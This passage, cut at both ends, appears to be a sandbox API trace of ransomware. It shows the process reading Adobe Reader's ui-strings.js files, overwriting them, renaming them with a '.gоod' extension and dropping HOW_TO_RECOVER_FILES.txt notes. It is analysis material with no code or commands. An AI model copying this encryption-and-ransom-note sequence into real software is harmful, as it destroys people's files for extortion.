ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.252] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x473, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.252] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0257.252] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0257.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0257.252] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0257.252] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0257.252] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz", lpFilePart=0x0) returned 0x76 [0257.253] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b280 [0257.253] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.253] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x473, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.253] FindNextFileW (in: hFindFile=0x134b280, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x473, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0257.253] FindClose (in: hFindFile=0x134b280 | out: hFindFile=0x134b280) returned 1 [0257.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0257.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0257.253] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0257.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0257.254] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x404f1f8 | out: lpFileInformation=0x404f1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02e54fa, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x473)) returned 1 [0257.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0257.256] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0257.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0257.256] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0257.257] GetFileType (hFile=0x808) returned 0x1 [0257.257] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0257.257] GetFileType (hFile=0x808) returned 0x1 [0257.257] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x473 [0257.257] ReadFile (in: hFile=0x808, lpBuffer=0x404fa18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x404fa18*, lpNumberOfBytesRead=0x208ebf98*=0x473, lpOverlapped=0x0) returned 1 [0257.258] CloseHandle (hObject=0x808) returned 1 [0257.605] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0257.605] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0257.605] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0257.606] GetFileType (hFile=0x864) returned 0x1 [0257.606] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0257.606] GetFileType (hFile=0x864) returned 0x1 [0257.606] WriteFile (in: hFile=0x864, lpBuffer=0x3dad170*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x3dad170*, lpNumberOfBytesWritten=0x208ebea8*=0x480, lpOverlapped=0x0) returned 1 [0257.606] CloseHandle (hObject=0x864) returned 1 [0257.606] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0257.606] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0257.606] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0257.606] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf02e54fa, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02e54fa, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x95c2a4da, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x480)) returned 1 [0257.607] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebf90) returned 1 [0257.607] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\ui-strings.js.gоod")) returned 1 [0257.608] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ebcb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8f [0257.608] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec1d0) returned 1 [0257.608] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\cs-cz\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x864 [0257.609] GetFileType (hFile=0x864) returned 0x1 [0257.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec140) returned 1 [0257.609] GetFileType (hFile=0x864) returned 0x1 [0257.610] WriteFile (in: hFile=0x864, lpBuffer=0x3db0a70*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ec298, lpOverlapped=0x0 | out: lpBuffer=0x3db0a70*, lpNumberOfBytesWritten=0x208ec298*=0x5d0, lpOverlapped=0x0) returned 1 [0257.610] CloseHandle (hObject=0x864) returned 1 [0257.610] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0257.610] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk", lpFilePart=0x0) returned 0x76 [0257.610] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0257.611] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.611] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.611] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0257.611] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0257.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0257.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0257.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec260) returned 1 [0257.612] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk", nBufferLength=0x105, lpBuffer=0x208ebd00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk", lpFilePart=0x0) returned 0x76 [0257.612] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\*", lpFindFileData=0x208ebf80 | out: lpFindFileData=0x208ebf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b340 [0257.612] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0257.612] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0257.612] FindNextFileW (in: hFindFile=0x134b340, lpFindFileData=0x208ebf40 | out: lpFindFileData=0x208ebf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0257.612] FindClose (in: hFindFile=0x134b340 | out: hFindFile=0x134b340) returned 1 [0257.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec1a0) returned 1 [0257.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ec160) returned 1 [0257.612] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0257.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ec010) returned 1 [0257.613] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3dc0948 | out: lpFileInformation=0x3dc0948*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0357be9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0357be9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x470)) returned 1 [0257.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebfd0) returned 1 [0257.613] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0257.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0257.613] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0257.613] GetFileType (hFile=0x864) returned 0x1 [0257.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0257.613] GetFileType (hFile=0x864) returned 0x1 [0257.613] GetFileSize (in: hFile=0x864, lpFileSizeHigh=0x208ec068 | out: lpFileSizeHigh=0x208ec068*=0x0) returned 0x470 [0257.613] ReadFile (in: hFile=0x864, lpBuffer=0x3dc1160, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ebf98, lpOverlapped=0x0 | out: lpBuffer=0x3dc1160*, lpNumberOfBytesRead=0x208ebf98*=0x470, lpOverlapped=0x0) returned 1 [0257.614] CloseHandle (hObject=0x864) returned 1 [0257.773] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208eb9a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0257.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebec0) returned 1 [0257.773] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0257.777] GetFileType (hFile=0x864) returned 0x1 [0257.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ebe30) returned 1 [0257.777] GetFileType (hFile=0x864) returned 0x1 [0257.777] WriteFile (in: hFile=0x864, lpBuffer=0x3ce2560*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x208ebea8, lpOverlapped=0x0 | out: lpBuffer=0x3ce2560*, lpNumberOfBytesWritten=0x208ebea8*=0x480, lpOverlapped=0x0) returned 1 [0257.777] CloseHandle (hObject=0x864) returned 1 [0257.777] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x84 [0257.777] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x208ebb40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x89 [0257.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ebfd0) returned 1 [0257.777] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\combinepdf\\js\\nls\\da-dk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x208ec0b0 | out: lpFileInformation=0x208ec0b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0357be9, ftCreationTime.dwHighDateTime=0x1d39f5d, 